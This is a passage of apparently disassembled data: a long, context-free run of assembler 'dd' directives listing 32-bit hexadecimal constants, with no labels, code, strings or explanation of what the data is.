3613B5B4h, 4041A4E1h, 0B1BD66B8h, 368B9C8h dd 6BD476A8h, 5CD879A7h, 31006DA4h, 3872A060h, 1473A35Fh dd 0CA25E1Fh, 0B536D003h, 804BFDCh, 13903306h, 30B63080h dd 0D5680B4Bh, 0AC90B43Bh, 0EE710D26h, 56125D01h, 0B9FFC20Ch dd 70D0029h, 0E12870A2h, 3320E032h, 3E14DB00h, 7E3B5B39h dd 47721FDCh, 0CBF34037h, 73C676BDh, 0A4E8702h, 51E5F40Eh dd 6BA00338h, 0F2E01268h, 0EE0611A5h, 0EC869057h, 0BB1D0320h dd 452F68B4h, 0A89FC798h, 0B6811094h, 0F2021277h, 111050AEh dd 4D03D274h, 8BCEAABCh, 92A4C045h, 335A3877h, 0CB6B3C80h dd 5B73F797h, 10601094h, 5010EDBh, 69718CF1h, 49A1C043h dd 20009608h, 0D8D53692h, 179E86Eh, 78B51426h, 0F498D2E3h dd 8800248Ah, 676960EBh, 0B4DAE8Eh, 7554C822h, 3ABFA080h dd 3101B317h, 6DB7DF3Fh, 21309579h, 0DCF40060h, 0C90E3CE7h dd 26002DAAh, 0FC28EF07h dd 0A099D765h, 4A0AEFh, 643C3D87h, 20BE4CEh, 5CA60907h dd 0AE51F6FEh, 4FF05E27h, 8D84C00Ah, 542666FFh, 701A7100h dd 2E35687Eh, 610500B8h, 0AE52FEBFh, 0BB98F432h, 51D3390Ah dd 6E00A0ACh, 218FFA04h, 46B34C47h, 37E16C00h, 7234D688h dd 4CE67D01h, 1093BE8Ah, 41E05CD1h, 0D9CE0045h, 817EFBDEh dd 78909F2Fh, 0AB620F0Fh, 0CC1C12B2h, 0BBEEB780h, 0AA16B0h dd 1AFE9D6h, 1B7EEF8Bh, 9A2CA200h, 2ADF094Ah, 0B976079Ch dd 20610C60h, 40566872h, 8FBFD12h, 73807481h, 103D1FCDh dd 4185DE00h, 69421D50h, 6B5D5D75h, 0C0130314h, 339212Dh dd 0B009A111h, 29A8123Ch, 0FE1ED089h, 50007A43h, 8222EB7Eh dd 0D98600F1h, 7F79D11Dh, 0DC004B97h, 81FA6E4h, 782F3Fh dd 0A40602F1h, 197A6C93h, 6E59D700h, 0E2F63B7Bh, 320B043h dd 58C8379Ah, 8BA03A9Fh, 0C6004283h, 2E75FFA5h, 2C4D67h dd 0F8A84C59h, 28BEC390h, 743C49h, 6407E59Ch, 295F3Bh dd 84358B4h, 2BADB3CFh, 0B88B1600h, 95E33819h, 16C0ED1h dd 330E5CA0h, 90C206C4h, 74A29BA4h, 8A32800Fh, 9509872Ch dd 213EB7B0h, 7C0503A5h, 0F16203D5h, 0B00C30F7h, 8E01EE7Bh dd 44B5E382h, 0B46055FAh, 0EA610C89h, 8448F2D7h, 0AE50B42Ch dd 6D9ECB01h, 0FC335E6Ah, 7E634A00h, 88A7CE98h, 94550800h dd 1513858h, 4477D8h, 1C203C19h, 5FB28935h, 6A01C379h dd 7B6403E5h, 0C2CC46FDh, 67D2008Dh, 822BBE70h, 5A01B734h dd 0BC09970Eh, 0C2C50F3h, 538FC73Dh, 4789FEAEh, 81B99883h dd 5012C5D1h, 83AC9CF8h, 94CE691Eh, 0DA718980h, 2E1F0A38h dd 28D07FA6h, 0CD9C002Ch, 9BD136CBh, 40006C96h, 3441A998h dd 72956F22h, 76BF047Fh, 0D048622Eh, 0A488BD64h, 0E893DB00h dd 0F7C46570h, 29F238F6h, 4734BA8Eh, 0E6E3EA0h, 71016303h dd 5ACF1A79h, 0FC6045C7h, 942200F2h, 73D4346Fh, 937060A7h dd 0B9FEAF98h, 0CD263304h, 5890ACB3h, 14215742h, 0A01E4BEAh dd 0F43E6D03h, 0F29805C8h, 0E5604658h, 0AAC2A6A0h, 72FF054Ch dd 0E0651DC6h, 7D0A6CA4h, 8C16F966h, 57A88080h, 0B83BEF27h dd 54F60096h, 0C6D3F3EBh, 4000E253h, 77AE661Fh, 0F98E92C3h dd 1000382Ch, 6087BBFEh, 8300BCC2h, 1291DD6Ch, 6258DBh dd 0A2731FB8h, 8A1BD78Dh, 43AB7715h, 0E31D0798h, 0D7BACAB1h dd 2DDBC900h, 0B06A58B6h, 3D779Ch, 43CE927h, 6B57E726h dd 34ED231Fh, 4A08B5C2h, 85A261F6h, 89A3B443h, 0AB2074DDh dd 2A7300FDh, 735160Ah, 0B0045D8h, 5749C97Fh, 5F5453h dd 0CC130493h, 82997C3h, 0F40B8703h, 0C0A74E9Dh, 56D5CD0h dd 807D28CBh, 3C7FC0D3h, 0E1908981h, 0BF56E58h, 821D5904h dd 0C00FD7A4h, 0F6D5D865h, 388A0EB8h, 558EC79Fh, 0FE060300h dd 89E8979Ah, 6964D300h, 4CD6187Bh, 91C776Fh, 0A9E41F5Ch dd 0F5D060B8h, 7FC90C00h, 9E3B8960h, 349905ECh, 0B1FD4C1h dd 906880A0h, 2D0961F3h, 60B29042h, 9EF0848h, 0DFA1D8D7h dd 50A7A843h, 2B364643h, 91DAF00h, 391B0459h, 0C4558AAh dd 350F6205h, 40D4528Ah, 32205284h, 3700BBB1h, 73A72A81h dd 25687A51h, 0B7C0D2A0h, 0CA009254h, 950E6215h, 0A86CD82Fh dd 0F79F1F0h, 3CF4A7C4h, 1C5C6621h, 80A0BCA3h, 3404B743h dd 604DA2FBh, 41EEB9F6h, 9C0F1EC8h, 0F7E7C582h, 0CC407485h dd 0AB566635h, 0DB9007E3h, 0DED2E794h, 37B828E0h, 7A30E2E0h dd 0BDB24885h, 77671287h, 5F340075h, 586C9E48h, 74DC3B02h dd 80FE9D2Bh, 0A129E08Ch, 22D8006Bh, 0FC0CE160h, 1A00B4C9h dd 69305DA6h, 0CF07ABh, 59029F72h, 2D2EFB27h, 47515600h dd 81D88F54h, 5DD10052h, 0F65A1DA9h, 0F0EA133h, 2CFE5F4Ah dd 0BC284Dh, 2BE8F271h, 709E97D6h, 516B8400h, 0ACED041Fh dd 28CA008Fh, 32194FAFh, 5009710h, 6D11B869h, 181BB6h dd 0EA4E9F9h, 9C6F688Bh, 485C3307h, 0A6C01D96h, 94106Ch dd 63084C85h, 73FCCD57h, 9E43AA00h, 0E2B0D6CEh, 0C9D00071h dd 374819E4h, 8105A090h, 703F43EFh, 41041CC0h, 206904F1h dd 0A04D13DEh, 32005ED4h, 8C64B5BCh, 0DBA71Ch, 0AFE2FAEFh dd 0C40D8A15h, 81085A00h, 293A2E14h, 0FC9507DDh, 0B0CA65DBh dd 8BA6A58Dh, 7D4ED700h, 102B269Fh, 695F00ACh, 974B830h dd 8804F527h, 0BA1A3889h, 0CF8B0E1h, 5695008Bh, 0E5D4B319h dd 0BC00CB65h, 17086896h, 6EC8F3Fh, 2C16D789h, 0C200A088h dd 220E4637h, 1BC35D1h, 0CFCDA15Bh, 0D2E8EBE0h, 0BEAD7C68h dd 8965D92Dh, 4E180035h, 0E47CB3EDh, 1EFD0054h, 9E99B06Eh dd 420080A3h, 458BAE9Dh, 8487AAh, 787BA649h, 7F82A94Eh dd 7EA34750h, 0D3640CA0h, 547D7918h, 251E2B08h, 0AC347497h dd 0BF682505h, 1048B23Bh, 1DCD10D7h, 520675EDh, 1EC0D460h dd 111A5ECh, 0EFE37D35h, 7820AEEAh, 0E8B09760h, 0F2261C4Bh dd 32AD80EEh, 9FC74173h, 14EEE07Ch, 5A3FACB8h, 69F4815Eh dd 5B765136h, 17045F8h, 137368C7h, 34EEF81Fh, 0B3503BD4h dd 22095230h, 0F7AA530Eh, 0F220D202h, 44D31480h, 0B903C7C4h dd 5F8BCD9Fh, 51FFE8CAh, 86F041h, 33AD95D5h, 0BDAAB0EDh dd 9A122900h, 34818A4Ch, 7265012Eh, 25F26E41h, 5CA0D740h dd 19726650h, 30004BF2h, 0C98DEFBFh, 3FDB4C6h, 576DC8B1h dd 47B25BAFh, 0FE8FE0F7h, 335C014Ch, 17E7C45Ah, 3014212Ch dd 6B00A56Ch, 66D84171h, 0C0E9B4C8h, 0C92546B8h, 0DC0EF6C1h dd 604E807Eh, 5B5DFA30h, 90B700E4h, 1768D705h, 841E187Ah dd 0D880DFF0h, 1A436C26h, 0CF865858h, 32BCA400h, 4102FB71h dd 9B602B04h, 4B835BAh, 67F8EE02h, 0B8C9FFB4h, 221AFC87h dd 0A69E0800h, 48408B1Dh, 64145CCAh, 0D3874401h, 7C7BA76Bh dd 78E40024h, 2DECBEA9h, 0FCE800D4h, 0B4BA0595h, 20E3DBC6h dd 6E60A2D4h, 0B72C1BE0h, 5BFB00FAh, 8130063Bh, 29000CCEh dd 0FDCF4B14h, 30D0C20Dh, 0F606BD31h, 0EE3FA440h, 80280C7h dd 7C34F43Fh, 58A5004Dh, 0C24CF1E3h, 8F00D60Ah, 0B7EA28D9h dd 1623AFh, 0A9119610h, 80CF4CD7h, 68401B00h, 1DEB7A67h dd 0A724009Ah, 0BEFCF049h, 0C8172A79h, 58000713h, 0EC910342h dd 1C5D0235h, 0F8A876E6h, 79867AE0h, 62597C13h, 0C0642CC2h dd 25731E59h, 88045390h, 0CAA20024h, 0B07E2AC7h, 13E27D10h dd 576B911h, 0A1176CC2h, 6C7EED30h, 90922D04h, 261A08h dd 589E27D3h, 0BEC1BFF7h, 0EE20E107h, 0A530DDACh, 51C5BBh dd 0F0D610ADh, 2C4A503Ah, 3C7E2Dh, 0AAEBD4E4h, 0E0CC001Dh dd 6D1933ACh, 5005296h, 7EF90CB2h, 7224534Ah, 0BB470910h dd 0A05093D4h, 0DC00377Dh, 0EF35D349h, 2162C9Eh, 0C994FBE3h dd 90802427h, 0EDAB199h, 3B2852E8h, 0EE0C8847h, 204D765Eh dd 35CB2DDEh, 1824F423h, 5A00087Ch, 3BC191ECh, 88FED7h dd 5C68BA40h, 101EAE96h, 1A9C3E1Ch, 9AE38E40h, 3F60D04Fh dd 3CC8EC27h, 29666300h, 0A574B3B9h, 36F73312h, 18EF5C22h dd 280114C1h, 0C01FDF1h, 12D4F9C5h, 0B4AF79C7h, 957000ACh dd 9FC3111Fh, 1A067701h, 76D137DFh, 0A6C1002Bh, 8F4339D2h dd 0A119FE00h, 0B2131C6Eh, 0CD91014Eh, 0A4731F9Ah, 0BAAB60F2h dd 300E298h, 4C6E789Eh, 26235E42h, 18C675h, 1DBB56C1h dd 81E4E26h, 0B292FE6Ch, 7E54F0h, 60EEBFADh, 0C46BD980h dd 0F904CD2Eh, 5FD73E00h dd 1C9DB4Fh, 9881C6F8h, 0C0E0AC72h, 0E81F55A9h, 0F4C9B05Ch dd 8D67006Ch, 76B598h, 0A1D093B9h, 47BF0FABh, 0C8306728h dd 0B000D4EEh, 76EBC6D9h, 0BA04CC2Eh, 300D5E84h, 9861EE60h dd 0A1B6E400h, 0E3C6A432h, 0EF360038h, 10B9D1C3h, 1300EC4Dh dd 637D9499h, 2F42B4h, 96269DAFh, 0F3A61DC8h, 0A433F900h dd 4E9FCD86h, 0B82201EBh, 118F7A03h, 0D3F6CCE9h, 53A96600h dd 0BDD1BEB5h, 0D02A382Eh, 804DE31Fh, 0EE1A2C4h, 57984185h dd 7969800h, 80E6F316h, 1338C0ABh, 62DAAAE7h, 754A7800h dd 0BE467989h, 65550287h, 0FF2E6AD6h, 0BF027FE0h, 28C6A600h dd 6B971F85h, 0F35338FEh, 0AEB65081h, 9CDA2C5Ah, 0BF47F830h dd 0F4B09B52h, 0A5E73h, 8783FEDDh, 7201C13Ah, 60005877h dd 98D0D73Ch, 0D4F637h, 938FBF35h, 5B84F831h, 388E7C00h dd 90A7BCE5h, 48A00D9h, 0D7DEE90Bh, 9D00B1A2h, 38502DC7h dd 76479639h, 2872001Bh, 0C3881706h, 4EEFE3Ah, 372DE900h dd 9009FC2Fh, 0A0BD009Dh, 880CA5FFh, 3200AA57h, 6B36867Eh dd 35F28Ah, 120F8D96h, 705F6E1Ah, 80EF9438h, 0A0CD8B03h dd 24842E43h, 13534Fh, 0B0BD54EBh, 0CC0A0210h, 0BCEDE664h dd 0D271AE00h, 4EC1F91h, 1D6AE097h, 0B946C082h, 5009D28h dd 765B697Dh, 0BF368Bh, 55C24A77h, 0E06A370Ah, 0C0DF201h dd 99317322h, 9D5CDC41h, 486CEF64h, 77000751h, 0D492162Dh dd 12006532h, 0ECE1BFB3h, 74C8C4h, 22DF4C08h, 0F2B0F63Bh dd 1E9053Dh, 9E81A8F4h, 19306A1Ch, 49222h, 0C85E81Bh, 0B84CDFD0h dd 0C7B11300h, 2A5099C1h, 2EF035h, 0D6AD0C62h, 0D5A60DF8h dd 3109E524h, 23533700h, 0A826C3h, 9DED1A7Fh, 7BE3FE3Fh dd 177D2F00h, 2C5DB973h, 0A0E060F8h, 53D3D5A0h, 661D377Eh dd 0E580D468h, 0F6E8AD1Ch, 9F130019h, 78A755B2h, 2A0A6E32h dd 0D093C2A2h, 17709783h, 14FFE018h, 0E51B004Eh, 1A582AE0h dd 433F7EAAh, 9A73022Ch, 808EA6E8h, 24FC3FF4h, 0C76D00CCh dd 94CAE155h, 84007623h, 0FDD22E18h, 0B87ED20h, 7147445h dd 2F096100h, 60001858h, 6D2857F1h, 733C17F0h, 0A4D60002h dd 0FC5655EBh, 0EE2E71EAh, 370712EFh, 7570997Eh, 0E497B42Ah dd 0B25D00E6h, 570C7DA4h, 0AD0061CEh, 0B6D8C478h, 58176A9Ah dd 7340F0h, 726F99Ch, 0D781B97Fh, 9FA9A700h, 5E54E0BCh dd 0F94D0041h, 7A116F28h, 0D91C81C2h, 3180C756h, 430C4026h dd 3872F4B7h, 0CF009261h, 972463D2h, 0BE00546Ah, 702CE86Ch dd 2E5E0Ah, 0FD383CACh, 0F232AFA2h, 369BAE1Fh, 951E8480h dd 49BBFB9Ah, 66873461h, 6585113Ah, 4360E824h, 963E2700h dd 3B1A295Fh, 83330104h, 5AA5E8CEh, 6830DCAEh, 0D8481400h dd 0DA272B87h, 7647009Ah, 97EFDFDCh, 80FB84Ah, 601DE8FBh dd 69252B82h, 0D14C0049h, 933F139Fh, 0E900A6DBh, 0C6EBDF7Ch dd 1DCE062Eh, 0D2FCEEF8h, 0EC3F00D0h, 7042255h, 90382890h dd 0A8118084h, 54C86EBh, 959F075Eh, 0F19C5D1Eh, 0D4934A01h dd 970F46FDh, 6149FA99h, 9148E39Ah, 0F87F0C40h, 4F6B3093h dd 0ADB23D08h, 0A6C72412h, 1825B040h, 6A545D8h, 0E33B70DDh dd 0E70E18EDh, 821238F4h, 87806D1Ah, 0D8A42F18h, 0D657C8D0h dd 55A41D46h, 867D0FFEh, 38C0E7AFh, 6D82E44Dh, 92FC501h dd 8760DCF9h, 783E0h, 6FCA1AA0h, 0A843D7D1h, 58742C00h dd 0ED8B78A5h, 0C67205B6h, 53C2FF8h, 40A77434h, 0DC7D5B90h dd 7A00067Fh, 8BF8C801h, 0C0D89E60h, 0DC968D21h, 65374325h dd 0C9B0FCh, 157D58Bh, 3F4C00EBh, 0A5C79E98h, 0A400EF3Ch dd 0D849950Ch, 9075CAh, 10842BABh, 0EC93A8EBh, 438B3600h dd 681A0A37h, 8ADB00CFh, 0FBAEC198h, 3A01B477h, 0C402FF5Ch dd 0FF19B2h, 65ECCCB1h, 460655A8h, 96DFC33h, 2C210030h dd 0BA446514h, 6DE0D123h, 0EF876600h, 0FBAA4E63h, 0E7C70EF7h dd 59ECBB77h, 48CB561h, 55A565E9h, 20E762EEh, 0AF65111Bh dd 0C7A38400h, 5A8D6396h, 3D88A8F5h, 0E7608h, 538932BFh dd 0FDD53F1Bh, 0AEA03AF9h, 0A5C206B7h, 301D95A3h, 7F016077h dd 1250685Fh, 4980F947h, 6785FADDh, 6C00E64Ah, 0C9593688h dd 0C7D91999h, 413AEC89h, 8FC1FB51h, 408AE411h, 0DCE55B24h dd 94366D8h, 40021D7h, 1AF3AB2h, 155529FDh, 88E58E75h dd 0F97B6F08h, 5677EF03h, 0FD181EDAh, 0F2570630h, 0D80410E9h dd 0A5BC2BE0h, 0AB425893h, 0A4E7F09Bh, 0FD2FFE38h, 404D0893h dd 9BADE5E0h, 70195B8h, 0E74D779h, 0DBBCF3h, 97A1F121h dd 0A0AB5AC0h, 7F452406h, 3088C26Fh, 0BFB9D2F4h, 33AC4EAh dd 0AE7F816Dh, 30F7210Ah, 1F6F85ECh, 42B4548Ah, 0F847EC0Dh dd 0AB84A0A0h, 0CA041E26h, 923C4A1Bh, 23F36080h, 72C0A1CDh dd 7256B9E4h, 0E66505F1h, 82D05D79h, 0F5E062B9h, 150273B1h dd 6948725Fh, 64C480D9h, 3220E1h, 0AD282F33h, 0C3B8A2BCh dd 8BBD4300h, 0BF5CB2B9h, 0C03A0320h, 0AC4A06EFh, 0B7C291C7h dd 0F614C855h, 293C0900h, 0AA34C165h, 1CFC0367h, 93B46D40h dd 0F3687600h, 0C11AA311h, 523E002Dh, 7AF2FED2h, 5A00FBA6h dd 3F57A89Ah, 0C7EDD1h, 4D42CA18h, 34E4608Fh, 0B3AE0E0Fh dd 0B4D440FBh, 4C6124h, 63BCDA87h, 0FDED16F4h, 0EE040300h dd 55ADEF49h, 793794Ch, 0D09F35CCh, 78CAB4Dh, 0D37FB308h dd 0D700A878h, 36049B75h, 17B7E90h, 0F670FF65h, 0F0378DAEh dd 0EE1D0B38h, 0C99DBC31h, 171083BBh, 90906399h, 87344Bh dd 923888D7h, 12A149E4h, 752F6E00h, 970FA3CFh, 5C8B394Ch dd 0B2980280h, 68925981h, 67FC8570h, 0A6D4F4FDh, 0B890B600h dd 0EDF02F04h, 6DF30013h, 3975B47h, 5003ECEEh, 61F1C69Fh dd 0D5A5C8FAh, 0BA7B8Dh, 0DC0BFC1Bh, 0E51686CDh, 0C78CA118h dd 83F328h, 0D948385Ah, 6B97A8DCh, 5D9D2600h, 0E3DB623Ah dd 3B22E269h, 170C2B7Fh, 0C838E8E5h, 9C49AC3Ah, 0E28056C3h dd 0C61B6BD7h, 0CDA40076h, 0D872C999h, 8905D94h, 8B9B9C00h dd 6286ADF7h, 4EFF017Dh, 0E4C158D1h, 6006E46Ah, 58F7400h dd 77D70898h, 59B600DFh, 8C8123BBh, 4100FC38h, 0FB690CA6h dd 7F455EAh, 0B521F634h, 80F84DFDh, 5F28F899h, 6FFA8A4h dd 0D728D6Dh, 663E096Ch, 0D073004Ah, 0C8359402h, 0B7B8C0h dd 23DAED61h, 5CDBF585h, 0EA163Dh, 0D6C6940Ah, 0B84F9Eh dd 0A6ABC25Eh, 36841226h, 738B5500h, 0BAE36122h, 7B030047h dd 0B9B43408h, 1C141989h, 0A4BDBBh, 0B57FBBFh, 2883CBh dd 80FEDE3Ch, 234D431Dh, 72DB6103h, 380B7Eh, 0AE27B97Ch dd 0DCB3C7BFh, 914B8F07h, 8981A471h, 3F30FB59h, 0E32300CBh dd 0B618C5Dh, 86006F57h, 10E42913h, 1C5844E6h, 0C0E9A077h dd 1AE5B096h, 7D00BC6Ah, 0E23A8CACh, 1DF7759Eh, 284CD523h dd 0D79D3ED0h, 2509F08Ch, 0FB19C148h, 18B83D8Dh, 7CE98F70h dd 25F80C26h, 53B84F3Bh, 0B3E80900h, 958C1564h, 0C62718B7h dd 775E28E1h, 0F80AD007h, 0FEA32ABAh, 0F3D4F8BDh, 902900D6h dd 0DE13AF9Dh, 28006AC8h, 4588F2FDh, 12EFA8Dh, 3D6CAC76h dd 0C0560B71h, 5E3FF8C2h, 0E06912EEh, 0A2C73400h, 92F74F12h dd 14E4583Ch, 58081300h, 32ED8223h, 11E04967h, 0F5668098h dd 90E49B2Bh, 8D9F0400h, 43F93951h, 8A74CCh, 0B75A3D60h dd 4A21F274h, 0F64E6800h, 0C5D5AD9Bh, 0BD970F5Fh, 35800566h dd 4280CA88h dd 0EC078575h, 7F5B2251h, 1F1B4190h, 0EFFC00F1h, 62BF748Eh dd 576A35Ah, 800DEE8h, 0B195AD49h, 0BF413h, 0C6C5832Ah dd 6460DDA4h, 182748h, 28990CEBh, 164DE1h, 17374570h, 79F71B5h dd 6593B200h, 68015E8Ah, 929D00B4h, 4A18EE44h, 9C00BC78h dd 0ECE216Bh, 3563B48h, 2F3C7A8Bh, 86A8B938h, 4E00A3AFh dd 0C66A518Fh, 135E4519h, 0B91E4h, 0AEEB71D8h, 0A4012D18h dd 1D3A1F7Ah, 6424E89Ch, 0E35C0056h, 0A4CCAD22h, 460FBB0Bh dd 0E213DE57h, 400DFCE9h, 0C49F488h, 7BB5A208h, 7600E210h dd 0AF6A71B8h, 781C444Eh, 0B4A46Bh, 4BB32A86h, 618EFC5Ah dd 0BC4D830Fh, 2400523Fh, 0ACC915B7h, 99C0078h, 0F8E2756Fh dd 0D6015FFBh, 694CD16Bh, 0A1808476h, 0F9FEA19Eh, 0BB1C70C5h dd 62008B28h, 0B66C6720h, 60460086h, 0B83E1E3Ah, 130099B3h dd 1D4F33E4h, 12E939DBh, 52B6EBh, 95626DC3h, 8A00FBC9h dd 0BE55CBD3h, 1B1A978h, 1239E7FDh, 0E86DB222h, 9A0045D0h dd 24FBDFAh, 2C63331h, 0EEACB4E9h, 1FE39BE3h, 741F1CA0h dd 0A4D2AF07h, 881058C1h, 32E142Bh, 50C4D02Dh, 61C07A3Dh dd 0FE0094B7h, 0DB06387Ch, 6BA2B73h, 2AFFC4F3h, 643EE091h dd 0A63C004Fh, 0CEA27854h, 68F55C26h, 1375E678h, 1C55930h dd 635A1978h, 6E3B7023h, 50AEA260h, 0E29C657h, 9581488Ch dd 8DF06A40h, 0B000D275h, 0F5C93553h, 191EC60h, 5A6B02DAh dd 0C0771530h, 9D0704ADh, 0E1896548h, 0B5207BC0h, 74300007h dd 0F5B0B8EFh, 787EF888h, 2EB866EAh, 6C89AC00h, 0A03C46F6h dd 20F00044h, 496A05CDh, 7701925Dh, 37CBB0E0h, 90FF9B74h dd 0EE690B39h, 25AF0055h, 71ED0947h, 7C009C63h, 4399AE9Dh dd 0A3A6C5h, 52DDF3FBh, 4BABAF8Ah, 2218950Fh, 4F4AC03Dh dd 1D971E39h, 0F4729Fh, 3687B9Dh, 8003562h, 0CA732A32h dd 24CEBA16h, 7D51156h, 0B0A8F491h, 0BC0487FFh, 788E471Ch dd 0FD17084h, 0FDBB24D1h, 787CC1DCh, 0C2550527h, 90BE62CEh dd 673C034h, 76C15B00h, 5A8FB009h, 0B5640005h, 0B44F0247h dd 4E340B58h, 0E80198Eh, 0C1B269E0h, 0F9F53B08h, 80C06045h dd 0E674A81Dh, 57A1D203h, 0DA810050h, 11614CDh, 0EC7EFC9Bh dd 0E338981Ch, 598420B7h, 0B2623A80h, 6CE256h, 79B73615h dd 0ECE65B93h, 8440950Bh, 3D8E80FAh, 1864878Ch, 41C9133Eh dd 0A13A9B31h, 70BB3091h, 303E7E5Dh, 0A921F024h, 0E2009998h dd 0FA1E7F8Fh, 0AE7B5082h, 0F5D81254h, 0A3CC4014h, 494331C1h dd 6114C074h, 1451A7h, 9B701DA0h, 10CF976h, 0A2AEBDDh dd 0C8A788E7h, 0CD002604h, 0BC9C9215h, 7504240h, 34C32591h dd 0AB3CE021h, 4E00DAC5h, 5B75F281h, 1A7255h, 82097A7h dd 74EE273Bh, 0CE66A900h, 0C761CF36h, 1F3C00CCh, 0ED4218E5h dd 0E60075E2h, 6A70DA31h, 73380C8h, 3F0E4971h, 15FFA039h dd 650F3543h, 84EE56h, 0AC5B4F10h, 7074E397h, 9B8C18ECh dd 934E827Bh, 0D45F0C04h, 0D8C0F715h, 31DB56E1h, 0B320746Ah dd 308C4711h, 0B9A5AD26h, 61C0B4AAh, 4E031452h, 3651B1DAh dd 830833D4h, 52CB7F21h, 94B892EBh, 0DB0124C4h, 95F5AC98h dd 70A23EDCh, 0F72001B8h, 9EF035B3h, 8381218Ch, 485D078h dd 1A287C3Ah, 1873222Ch, 0A5114417h, 0DE863D80h, 0FE0382F7h dd 0A7D83897h, 0BF2FA843h, 9827184Bh, 0FC821096h, 181B700h dd 0B378D09Eh, 509200D2h, 71C7F636h, 5C3BBEC2h, 0DABC8129h dd 48C4EF6Dh, 0E10330h, 9AF233B9h, 5891FE6Eh, 576AA61Eh dd 135F00B9h, 0E9180FA3h, 71681CC6h, 8D0681F2h, 0F0CD8442h dd 0D301BBACh, 0CA2EE75Ch, 5C44DA1h, 0E54F261Bh, 900B0EF2h dd 0FF30E320h, 0D80125BBh, 0C49A9183h, 8CF019C1h, 6D1A00CEh dd 802AC7FEh, 82031558h, 0FFDDAFBCh, 2F080EE7h, 0DB206B94h dd 250FE60Eh, 9E28B900h, 0B2531BC4h, 9972641h, 4704004Fh dd 0B6A9C715h, 893DD300h, 77C3C429h, 80FA4E16h, 54B9A0E9h dd 15EE0600h, 0CEC6E2A6h, 58EEA9h, 8C9161EDh, 750D9498h dd 0B3B0DB1Ch, 0D7DA7D40h, 37EF76h, 0BB73FEEAh, 0C60DB5CEh dd 6688770Ch, 0FC7812h, 0EA015CC8h, 3B1E05FDh, 0DD781F00h dd 0D9234A87h, 28176074h, 0A753BE8Ch, 0BC562400h, 0AE4A3384h dd 0ACCE000Ch, 0F51D2D91h, 0D0A0C94Dh, 510188B9h, 8C8F5292h dd 85C96A43h, 3F581AECh, 54003FD2h, 70053EE6h, 0C100A0DAh dd 0B26C7ACEh, 0CF719Bh, 437560D2h, 59C4AD02h, 0CD59A560h dd 208AE7h, 0F85B5CA0h, 0AC145F08h, 0D1EC2800h, 578991CAh dd 607CA5h, 0B250EFD2h, 557BDB01h, 3A09E860h, 0A4D13h dd 408BCBCAh, 0A65CBAE6h, 3D833Dh, 0FC6421B4h, 4B1AA5h dd 0B82CE8A3h, 537E6992h, 6297C600h, 0CE0CC54h, 6FE91C5Eh dd 0D8140494h, 3E958028h, 78E2653Ah, 55BCE700h, 0DAC2314Dh dd 0DF4000C8h, 5DFCEE59h, 3A0ED1F7h, 802EAC10h, 0CD13A119h dd 14AE0202h, 0F0EBE080h, 6120C4AFh, 127645DAh, 50BB0700h dd 472C4DB5h, 0E9C7006Ch, 0BF7F7ACAh, 8B3A0B66h, 0E6EE8120h dd 0D8ADACBEh, 281DF9E8h, 1D0F103h, 23EFC4A3h, 500CEC8Fh dd 298AD9A8h, 8362F002h, 620F2F7Ch, 0C61880B4h, 0E3598Ch dd 3A2C90BBh, 2486D653h, 3E714400h, 12FA203Fh, 9841149Bh dd 100B840h, 45A9477Ch, 1AFC29FFh, 0F12F5600h, 10DC8CCBh dd 4790517h, 0CC5E31h, 0F40B9FE8h, 6300FE4Ch, 498D965Dh dd 8975B9h, 0D637230Fh, 0D4E2AD78h, 40DC5751h, 0E72C4846h dd 0D3828000h, 9C4FCF61h, 0B0E60093h, 46A5183Dh, 27007A95h dd 590135D0h, 60E7A2FAh, 0DB14A055h, 0A37FAD89h, 0C8D888A0h dd 7E002C92h, 0B6AB738Bh, 1767C4ACh, 117CB3h, 0A54FB903h dd 997095FFh, 0AF854726h, 86E7A700h, 25CAD0Fh, 0CAC9DBC0h dd 4608E6Fh, 64396987h, 8BAC809Eh, 47382E3Bh, 0D2D4004Ah dd 68825277h, 16F0187Bh, 0F8FBB800h, 0C8551205h, 2C3C00E0h dd 6B400639h, 921279BDh, 5440F229h, 0C3C9C138h, 4F1C1D47h dd 0AFD42CCh, 0D60DA74h, 8B033068h, 77169CE4h, 0B523D006h dd 31C96361h, 8191DD4Bh, 0CC393055h, 1E59F200h, 0CB5A0657h dd 4E1338AEh, 0A4248500h, 0C32C9487h, 882EB42Ch, 72024400h dd 24A55C8Dh, 80C44903h, 97589274h, 201D1EB5h, 6500D93Bh dd 62EEA13Eh, 0E06D00E4h, 7FB677CDh, 1D0016FEh, 0A3E271A9h dd 1ED82DB7h, 0C2982CB1h, 5AE5DFF2h, 0F15D28C0h, 0BB39607h dd 0A5504DB0h, 1DE7C514h, 137447Eh, 0CB0E6E1Dh, 0E2DC50E8h dd 0C2EC7CDDh, 8A4E8314h, 4F6602C0h, 42770143h, 1FDC232Ah dd 11ADA9CDh, 0C554030h, 8F09E4C6h, 92016130h, 6B8C0C5Ch dd 0C00494F6h, 0E89DD33h, 82903Fh, 0CD4A5568h, 1AEE6Bh dd 0D651B88Dh, 2DCF6F57h, 581C8530h, 64E14Dh, 3E885DE0h dd 8391F36Dh, 0A6E6A300h, 27302F28h, 0B6F40CA5h, 88C0C6A1h dd 60FF6B30h, 3963F8h, 0F71D2CDCh, 3CD5C571h, 3AAEF000h dd 0A03B4135h, 409948ADh, 263D1609h, 1C472C0Fh, 0A6A8E0B5h dd 7900B941h, 0D1BF9BDAh, 0B465D4h, 4E35C6D3h, 73939DF7h dd 0CC71E603h, 0B20B1CFBh, 5EB08095h, 76B7C3C2h, 14F71B9h dd 0C7DA46F2h, 0F515574Dh, 6329939Dh, 5F767C00h, 53D2Ah dd 52A7167Dh, 57C4F856h, 8D00BA7Eh, 49BB108Eh, 719F537h dd 0F13C6AE8h, 709241ECh, 0E443F493h, 1512EE03h, 0C0D9E657h dd 1D19FB59h dd 800A6F46h, 0D1C871B0h, 138A278h, 517407F6h, 0BD21B3B5h dd 0EAD861C9h, 31D80046h, 0A9494C92h, 81CCE29h, 0E068960Ah dd 87C0FE00h, 0A2628698h, 94D0EB17h, 50803F9h, 4FB032C8h dd 0D7ED28A8h, 0A4767900h, 45DE14B7h, 0DA5400C5h, 98E4BFE6h dd 0B90093FAh, 0E91BD52Ch, 0F49081h, 8F96CCABh, 852AB774h dd 49697B00h, 73FBE5EAh, 0FA330008h, 0F7E80F76h, 58000447h dd 0EC821078h, 9028FD9Eh, 5C2400E8h, 8347B7D4h, 0CD009C15h dd 6E45E3C9h, 3F7D7B1Ah, 9324D844h, 0DD073A34h, 0A082CF83h dd 0C7F850BAh, 0F6ABA70Ah, 0FA00F08Ch, 8DCF2E80h, 0C8D53D8Bh dd 60C8AA8h, 0BDEFC1D8h, 